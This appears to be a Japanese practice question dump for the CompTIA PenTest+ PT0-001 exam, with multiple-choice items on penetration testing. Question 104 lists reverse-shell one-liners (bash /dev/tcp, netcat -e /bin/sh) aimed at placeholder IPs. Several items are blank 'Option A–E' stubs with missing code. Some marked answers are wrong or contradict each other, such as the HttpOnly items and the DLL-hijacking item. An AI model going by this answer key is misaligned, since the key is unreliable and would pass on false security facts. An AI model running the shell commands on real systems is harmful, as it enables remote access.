PT0-001日本語更新された試験問題集で[2022年最新] 練習有効な試験問題集
PT0-001日本語サンプルには正確で更新された問題
質問 93
ペネトレーションテスターは、次のURLとソースコードを指定して、Webアプリケーションに対してコードレビューを実行しています。
上記のコードに存在する脆弱性は次のうちどれですか？
- A. SQLインジェクション
- B. コマンドインジェクション
- C. クロスサイトスクリプティング
- D. LDAPインジェクション
正解: B
質問 94 
- A. Option A
- B. Option B
- C. Option C
- D. Option D
- E. Option E
正解: D,E
質問 95
侵入テスターは、Windowsホストの悪用に成功し、ハッシュをダンプします。侵入テスターは、次のどのハッシュを使用してパススルーハッシュ攻撃を実行できますか？
A）
B）
C）
D）
- A. オプションD
- B. オプションB
- C. オプションA
- D. オプションC
正解: A
質問 96
個人は、身元調査に合格した後、組織に雇用されました。個人は、ある期間にわたって競合他社に情報を渡してきました。
次の分類のうち、個人を最もよく表しているのはどれですか？
- A. APT
- B. スクリプトキディ
- C. ハクティビスト
- D. 内部脅威
正解: D
質問 97
エグゼクティブサマリーの調査結果と推奨事項を優先しながら、次の考慮事項のうちどれがクライアントにとって有益でしょうか。
- A. 特定された脆弱性を悪用することが困難なレベル
- B. 各ステップを達成するのにかかる時間
- C. 組織のリスク許容度
- D. パッチおよび修正プログラムの提供予定
正解: C
質問 98
侵入テスト担当者がNetBIOSネームサービスをターゲットにしたい。次のうちどれがNETBIOSネームサービスを利用するための最も可能性の高いコマンドですか？
- A. nmap
- B. arPspoof
- C. バープスイート
- D. レスポンダ
正解: D
質問 99
ペネトレーションテスターは、運用に対するリスクの全体的なレベルを概説するレポートを作成中です。侵入テスト担当者は、報告の以下の領域のどれにこれを載せるべきですか？
- A. エグゼクティブサマリー
- B. 付録
- C. 本体
- D. 技術概要
正解: A
質問 100 
- A. Option B
- B. Option A
- C. Option C
- D. Option D
正解: B
質問 101
あるエネルギー会社がセキュリティ会社と契約して、発電所の侵入テストを実施しました。これは、ICSを使用して発電と冷却を管理していました。次のうちどれが評価の準備をするときに会社によってなされなければならないそのような環境に特有の考察ですか？
- A. 潜在的な運用上および安全上の問題
- B. 適切な一連のセキュリティテストツールの選択
- C. テストで使用されたハードウェアの電気的認証
- D. ICSコンポーネントの定格電流と定格荷重
正解: B
質問 102 
- A. Option A
- B. Option B
- C. Option D
- D. Option C
正解: D
質問 103 
- A. Option B
- B. Option A
- C. Option C
- D. Option D
正解: B
質問 104
ペネトレーションテスタは、ポート443を介して任意のホストに無制限のネットワークを持つシステムを危険にさらします。侵入テスト担当者は、被害者から攻撃者に戻るためのリバースシェルを作成しようとしています。侵入テスト担当者は、次の方法のうちどれを使用するのが好きですか？
- A. bash -i>＆/ dev / tcp / <DESTINATIONIP> / 443 0>＆1
- B. perl -e 'use SOCKET'; $ i = '<SOURCEIP>; $ p = 443;
- C. nc -e / bin / sh <SOURCEIP> 443
- D. ssh superadmin @ <DESTINATIONIP> -p 443
正解: B
解説:
References: https://hackernoon.com/reverse-shell-cf154dfee6bd
質問 105
次のPythonスクリプトがあるとします。
次のうちどれが実行されますか？
- A. リバースシェル
- B. バナー掴み
- C. ポートスキャナ
- D. ARPスプーフィング
正解: B
質問 106
次のHTTP応答があるとします。
http / 1.0 200 OK
サーバー：Apache
Set-Cookie：AUTHID = 879DHUT74D9A7C; httpのみ
コンテンツタイプ：text / html
接続：閉じる
XSS攻撃の次のどの側面が防止されますか？
- A. JavaScriptキーロガー
- B. セッションハイジャック
- C. クライアント側のWebサイト改ざん
- D. クロスサイトリクエストフォージェリ
正解: C
質問 107
コンプライアンスに基づく評価を実施する際に、最も重要な考慮事項はどれですか。
- A. 耐衝撃性
- B. 会社の方針
- C. 追加料金
- D. 業種
正解: B
質問 108
侵入テスターは次のコマンドを実行します。
C:\>%userprofile%\jtr.exe
This program has been blocked by group policy
C:\> accesschk.exe -w -s -q -u Users C:\Windows
rw C:\Windows\Tracing
C:\>copy %userprofile%\jtr.exe C:\Windows\Tracing
C:\Windows\Tracing\jtr.exe
jtr version 3.2...
jtr>
攻撃者が利用しているローカルホストの脆弱性は次のうちどれですか？
- A. シェルエスケープ
- B. 安全でないファイル権限
- C. 書き込み可能なサービス
- D. アプリケーションのホワイトリスト
正解: B
解説:
Explanation
References https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/#john-the-ripper---jtr
質問 109
MITM攻撃が計画されています。最初のステップは、制御されたデバイスを流れる情報を取得することです。これを達成するために使用する必要があるのは次のうちどれですか？
- A. 邪悪な双子
- B. 繰り返し
- C. ウォードライビング
- D. リプレイ攻撃
- E. ブルージャック
正解: A
質問 110
ペネトレーションテスターは、Kali LinuxのOnesixtyoneツールを使用して、SNMPが有効になっているターゲットでSNMPプロトコルを悪用しようとしています。ペネトレーションテスターが実行している攻撃の種類は次のうちどれですか。
- A. 名前解決攻撃
- B. man-in-the-middle攻撃
- C. 辞書ベースの攻撃
- D. バッファオーバーフロー攻撃
正解: C
質問 111
Windows 7ワークステーションで権限昇格を実行しているときに、侵入テスターはDLLを絶対パスではなく名前でインポートするサービスを識別します。この脆弱性を悪用するには、次の基準のどれを満たす必要がありますか？
- A. DLLでアクセス許可が無効になっていない
- B. DLL検索パス内のディレクトリのフォルダ権限が弱い
- C. ベンダーによって暗号的に署名されていないDLL
- D. C：\ Windows \ System32 \ importsディレクトリに書き込み権限
正解: B
質問 112
消費者向けのIoTデバイスは、従来のデスクトップコンピュータ用に構築されたシステムよりも安全性が低いことがよくあります。
次のベストのどれがこれのための推論を説明しますか？
- A. IoTシステムは、より安全なソリューションに必要なハードウェア能力に欠けることがよくあります。
- B. 規制当局は、IoTシステムに対するセキュリティ要件を低くすることがよくあります。
- C. IoTデバイスを開発している製造業者はセキュリティにそれほど関心がありません。
- D. 管理者が全面的に同じセキュリティ標準を実装することは困難です。
正解: C
質問 113
テスターは、侵入テスト中にXSS攻撃ベクトルを識別します。JavaScriptペイロードがCookieにアクセスするのを防ぐために、テスターが推奨するフラグは次のうちどれですか？
- A. HttpOnly
- B. Max-Age
- C. ドメイン
- D. 安全
正解: A
質問 114
指示：
コードセグメントを分析して、ポートスキャンスクリプトを完了するために必要なセクションを決定します。
適切な要素を正しい場所にドラッグして、スクリプトを完成させます。
シミュレーションの初期状態に戻したい場合は、いつでも[すべてリセット]ボタンをクリックしてください。
ペネトレーションテスト中に、ユーザーインターフェイスが制限されたシステムにアクセスできます。このマシンは、ポートスキャンを希望する隔離されたネットワークにアクセスできるようです。
正解:
解説:
質問 115
セキュリティコンサルタントが、「C VProgram Files」で、特権のないユーザーアカウントから書き込み可能なアクセス許可を持つフォルダを見つけました。より高い特権を獲得するために使用できるのは次のうちどれですか。
- A. SAMデータベースの取得
- B. カーベロアスト
- C. VMサンドボックスエスケープ
- D. DLLハイジャック
- E. LSASSでの資格情報の取得
正解: E
質問 116
......
合格させるCompTIA PT0-001日本語プレミアムお試しセットテストエンジンPDFで無料問題集セット：https://www.goshiken.com/CompTIA/PT0-001J-mondaishu.html